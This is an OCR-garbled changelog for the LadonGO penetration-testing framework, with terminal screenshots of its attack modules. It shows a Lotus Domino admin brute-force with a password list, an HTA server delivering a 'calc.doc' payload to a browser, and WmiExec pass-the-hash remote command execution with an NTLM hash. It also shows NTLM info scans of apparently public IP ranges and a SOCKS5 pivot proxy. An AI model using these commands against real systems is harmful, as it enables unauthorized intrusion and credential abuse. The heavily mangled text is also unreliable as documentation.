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LadonGO 5.0 20231208

5.02023.12.08
[+]LotusAdmin &l PR B Lotus‘SiE 51
[ulf&%& 4.9 InfoScanFFAEH FAFEAR T HIBug

4.9 2023.12.05
[+]HtaSer HtafR 5525 (AN BR /548, 20171 (A)docif Thta)
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[u]{&E WinrmCmd SshCmdfE4.55 FH|n) &

root@kali: ~/..sktop/LadonGO &

LadonGo Test=====

: kali<nil>

Pid: 43126 Process: Ladon
Linux kali 5.3.0-kali2z-amd64 #1 SMP Debian 5.3.9-3kalil (2019-11-28) x86_64 GNU/Linux

./Ladon FunclList
./Ladon Detection
./Ladon VulDetection
./Ladon BruteFor
./Ladon RemoteExec
./Ladon Exploit
./Ladon Example

: # ./Ladon LotusAdmin http://192.168.188.9/adm2.nsf
LadonGo 5.0 b
Arch: 386 0
Name: kali<nil>

Pid: 43133 Process: Ladon
Linux kali 5.3.@-kaliZ-amd64 #1 SMP Debian 5.3.9-3kalil (2019-11-28) x86_64 GNU/Linux

Load LOTUSADMIN [root/Desktop/LadonGOfuserpass.txt - Mousepad
Check ... test 123456 : i
Check ... test 654321 File  Edit
Check ... admin 123456 Warning, you are using the root account, you may har

1ftest 123456
2 test 654321
3 admin 123456
4 test3 654321

Search View Document Help

LadonGO 4.9 20231205

Ladon for Kali/Ubuntu/Mac/Centos/Router/MIPS/ARM

HTARRS-2§ —82/53) VilRIDOCHIAEATHTA
LadonFLadonGOFjA—2 ANIRHI/E4R 1im)doctLgEM fThta

Ladondy4$>

Ladon HtaSer
Ladon HtaSer 8080
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Accept: applications/x—ms—application, image~sjpeg. applicationsxaml+xml, image./qgdi]®
f. imagespjpeg. applicationsx—mzs—xhap, */%

Accept—Language: en—us

User—Agent: Mozilla 4.8 <(compatible: MSIE 8.8; UWindows HT 6.1; WOWG4; Trident.-4.
IiH %%CEEé).NET CLR 2.0.58727; _NMET CLR 3.5.3872%; .NET CLR 3.8.3872%; Media Cent
er .

Accept—Encoding: gzip. deflate

Hozt:= 192.168.188.3:888

Connection: Heep—Alive

Client IP: 192.168.188_.3:49727

GET ~calc.doc HTTP-1.1

Accept: /%

Accept—Language: en—-US

Accept—Encoding: gzip, deflate

Uzser—Agent: Mozillas4.8 <Ccompatible: MSIE 7.8; UWindows NT 6.1; WOW64; Trident.4.
B; SLCC2; .MET CLR 2.8.58727; ._NET CLR 3.5.3872%9; .HET CLR 2.@.3872%; Media Cent
er PC 6.@>

Hozt:= 192.168.188.3:888

Connection: HKeep—Alive

&) Bla ace -
X | . . o<
t ~/ £ http:/192.168 188.3:800/ calc.doc H i; Bing

7 Favorites = | Suggested Sites v g8 | Web Slice Gallery +

| Calculator
View Edit Help

= v Page~ Safety > Tools- ﬂv

-

oo |- [ . B, =
oo & Internet ... | & New Tab J ||:|| T 52 ]

MAC MR M5 M+ M-

Kalij23h

./Ladon HtaSer
./Ladon HtaSer 8080
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# ./Ladon HtaSer

: 386 0S: linux
: kali<nil>

3956@ Process: Ladon
Linux kali 5.3.@0-kali2-amd64 #1 SMP Debian 5.3.9-3kalil (2819-11-28) x86_64 GNU/Linux

Load HTASER

Hta Server started.
http://192.168.188.7:80/
http://192.168.16.25:80/
http://192.168.188.8:80/

Client IP: 192.168.188.3:49707

GET /calc.doc HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.® (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/&.®; SLCC2; .NET CLR 2.0.50
727; .NET CLR 3.5.30729; .NET CLR 3.0.38729; Media Center PC 6.0; ms-office; MSOffice 16)
Accept-Encoding: gzip, deflate

Host: 192.168.188.8

Connection: Keep-Alive

HtaSer.exe

LadonGO 4.8 20231107

4.8 2023.1107
[+]InfoScan —4Z WMERINMEE

Ladon ip.txt InfoScan
Ladon 192.168.1.8 InfoScan
Ladon 192.168.1.8/24 InfoScan

[+]ConfVer ConfluenceVerds ;M Confluence R 4<

Ladon url.txt ConfVer

Ladon url.txt ConfluenceVer

Ladon ip.txt ConfVer

Ladon 192.168.1.8 ConfVer

Ladon http://192.168.1.8:8090 ConfVer

LadonGO 4.7 20231102

4.7 20231102
[+]RdpInfo RDP NTLM#RMOS{5E
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: # ./Ladon rdp://43 291 RdpInfo
LadonGo 4.7 by k8geg
Arch: 386 0S: linux
Name: kali<nil>

Pid: 81114 Process: Ladon
Linux kali 5.3.8-kali2-amd64 #1 SMP Debian 5.3.9-3kalil (2019-11-20) x86_64& GNU/Linux

Targe: rdp://&i 21

ScanStart: 2023-11-862 02:58:03
Load RdpInfo

Domain
Parent Domain
05 Ver Num 6.3.9600
05 Version | Windows B.1/Server 2012 R2 (Build 9600)
el e e e -
Finished: 2023-11-82 ©82:58:83
: # ./Ladon 43 “91/24 RdpInfol]

[+]HttpInfo HTTP NTLMIRMOS{5E

[+]HttpsInfo HTTPS NTLMIEMOS{Z &

[+]SmtpInfo HTTP NTLMIRMOS{ZE
z # go run ./Ladon.go 20502099007 22/24 HttpInfo

LadonGo 4.7 by E
Arch: amde4 0S5: linux
Name: kali<nil:>

Pid: 81283 Process: Ladon
Linux kali 5.3.@-kali2-amdé64 #1 SMP Debian 5.3.9-3kalil (2@19-11-20) x86_64& GNU/Linux

Targe: 205.234.35.52/24

ScanStart: 2023-11-82 03:02:06
Load HttpInfo
Target: http://2¢0
e ————— b o e +
Server SHAREPOINT
Domain Name |
Server FQDN SharePoint.t
Domain FQDN tolsamn
Parent Domain tolesca
0S Ver Num 6.1.7601
05 Version | Windows 7/Server 2008 R2 (Build 7601)

ittt L it +

4.66.28
[+]WmiExec Hash{&@H 17454 JCEl B GO 13.8
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[u]{&E WinrmCmd SshCmdfE4.55 FH|n) &t

root@kali:~/Desktop/LadonGO# ./Ladon WmiExec "192.168.188.108" "admin$" "e&45a314c664d4Da227f9540
121d1a29d" cmd "echo test > C:\users\public\test.txt"”

LadonGo 4.6 by z
Arch: 386 0S: linux
Name: kali<nil>

Pid: 249359 Process: Ladon
Linux kali 5.3.8-kali2z-amd64 #1 SMP Debian 5.3.9-3kalil (2819-11-28) x86_64 GNU/Linux

1.6879326360072627e+09 info wmiexec/wmiexec.go:197 Getting network bindings from remote hos
t

1.6879326360088754e+09 info wmiexec/wmiexec.go:2@02 Resolved names, all network string bindi
ngs for host:

1.6879326360089018e+09 info wmiexec/wmiexec.go:204 WIN-OLDM1T2ZHIMSE
1.6879326360089102e+09 info wmiexec/wmiexec.go:204 192.168.188.108
1.6879326360089169e+89 info wmiexec/wmiexec.go:204 240e:352:364:c00:a8d3:cd72:6e9f:
ada3

1.6879326360089233e+09 info wmiexec/wmiexec.go:206 Using first value as target hostname: WI
N-OLDM1T2H9M&

1.6879326360110247e+09 1info wmiexec/wnmiexec.go:304 WMI Access possible!
1.6879326360111806e+09 info wmiexec/wmiexec.go:345 Connecting to 192.168.188.108:49154
1.6879326360390933e+09 1info wmiexec/wmiexec.go:766 PID? 5860

LadonGO 4.5 20230618

4.56.13
[+]PostShell—AVE % Fim x3Fcemd b64emd

6.13 & & PortScan A~ X 3FH F Nim O MIBUG
Load PORTSCAN

Ladon 192.168.1.8/24 PortScan

Ladon 192.168.1.8/24 PortScan 21,80,445,443
Ladon 192.168.1.8/24 PortScan 21-81

4.46.8
PhpShell 185 HLEPHPIIEZER T shellf¥bug

LadonGO 4.3 20230325
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SSLUFH{EEEHCDN, WERE. ik, HAFEE
# ./Ladon https://github.com SslInfo

LadonGo 4.3 by k8 E
Arch: 386 05: linux
Name: kali<nil:=

Pid: 54445 Process: Ladon
Linux kali 5.3.8-kali2-amd64 #1 SMP Debian 5.3.9-3kalil (2819-11-20) x86_64& GNU/Linux

Targe: https://github.com

ScanStart: 2023-03-24 02:50:02
Load SslInfo
Host: github.com:443

Subject:github.com

Issuer:DigiCert TLS Hybrid ECC SHA384 2028 CAl
NotBefore:2023-02-14 @0:00:00 +0000 UTC
NotAfter:2024-03-14 23:59:59 +0000 UTC
DNSNames:[github.com www.github.com]
EmailAddresses:[]

IPAddresses:[]

URIs:[]

SignatureAlgorithm: ECDSA-SHA384
PublicKeyAlgorithm: ECDSA
SerialNumber:17034156255497985825694118641198758684
Version:3

Subject:DigiCert TLS Hybrid ECC SHA384 2028 CAl
Issuer:DigiCert Global Root CA
NotBefore:2021-04-14 00:00:00 +0000 UTC

BEMFTENHLARAS PILAEE P TIRIRAS
=N C:\Windows\system32\cmd.exe - Ladon.exe 5" P01/24 Pjlinfo

slUzerssnulls~DesktopsBin>Ladon.exe 5 .. "Mrs24 Pjlinfo

Arch: 386 05: windows
ame: test<{nil>
zer: TESTnull Islser
i bHA6H Process: Ladon.exe

icrozoft Windows [Uersion 6.3.960H1]
arge: 59.125_241 28124

BcanStart: 2823-03-24 12:51:19
ISRCE_PJL "OKI ES8473 MFP"%?

LadonGo 4.2 20220728

LadonGo 4.0 20220520
1E[ Sosck5fLHE
32575

1.BC VPSTH] LR , FFEaARIEAN_EGoogle? Fk}
2. BARAT_EM(InwebAR%2%) , BE_EMIEE R A
3.H% FRER RGN A SocksSHIHENE FF B PL R R AR
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PATAT 654 FF /asockss

Ladon Socks5 ip port

kali<nil>

113614 Process: Ladon
kali 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-3kalil (2019-11-28) x86_64 GNU/Linux

Help:
./Ladon FunclList
./Ladon Detection
./Ladon VulDetection
./Ladon BruteFor
./Ladon RemoteExec
./Ladon Exploit
./Ladon Example

: # ./Ladon socks5 192.1

LadonGo 4.0 by :
Arch: 386 05: linux
Name: kali<nil>

Pid: 113699 Process: Ladon
Linux kali 5.3.@0-kali2-amd64 #1 SMP Debian 5.3.9-3kalil (2019-11-20) x86_64 GNU/Linux

Load SOCKS5
Socks5 Starting ...
Listen: 192.1. = °°) 8888

AR SR

o Proxifier

Fila Profile Log View Help B B & 0o L&

-

E Proxy Servers |7 || 22|

Y

Application Target| Address Fort Type

l— 3333 SOCKSS

£ 1| Proxy Server (B [[a5al
g=- Server j

Address:  2ougE Port: 8383

Protocol: | 50CKS version 5 >

h{+

L)

[ Authentication
[ Enable

4

- Connections | uk Traffic .Statistics

A,
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WREBCHVPSIE AR WAL AR |, AU R A8 EGOOGLE |, aREMAE EM , FHa
SOCKSHIE , B2 A e 1(R] B AR RIMT A2 FRKIA R googlelli 2 BAIRMTN , RAZXTANEK
AR T IRENNN,

_E_ Proxy Servers @

Target Address B Port Type - sent
pss.b A BBESE SOCKSS m OCK.. L35KB
P ¥l AT L o
’4 Proxy Checker E = |@
Proxy Server ’ Test Settings. .. l
LZddresa: 2 N, oo
Protocol: SOCKS 5

Muthentication: NO Proxy is ready to work

with Proxifier!

-~
[50:50] Stmarting: Test 1: ction to the Proxy Server |
[50:50] I Address: :ﬁ

[50:50] Connection established =
[50:50] Test passed. .
[50:50] Starting: Test 2: Connection through the Promy Server =
[50:50] ARuthentication wa= =succes=ful.

[50:50] Connection to www.google.com:80 established through the proxy server.

[S0:50] A defanlt web page wa= successfuly loaded. =
[50:50] Test passed.

[50:50] Starting: Test 3: Promy Server latency

[S0:50] Latency = 30 m=

[50:50] Test passed. =
[50:50) Testing Finiched. b

Start Testing | ’ Copy To Clipboard Help ] ’ Ok

LadonGo 3.9 20220422

Source: https://github.com/k8gege/LadonGo/releases
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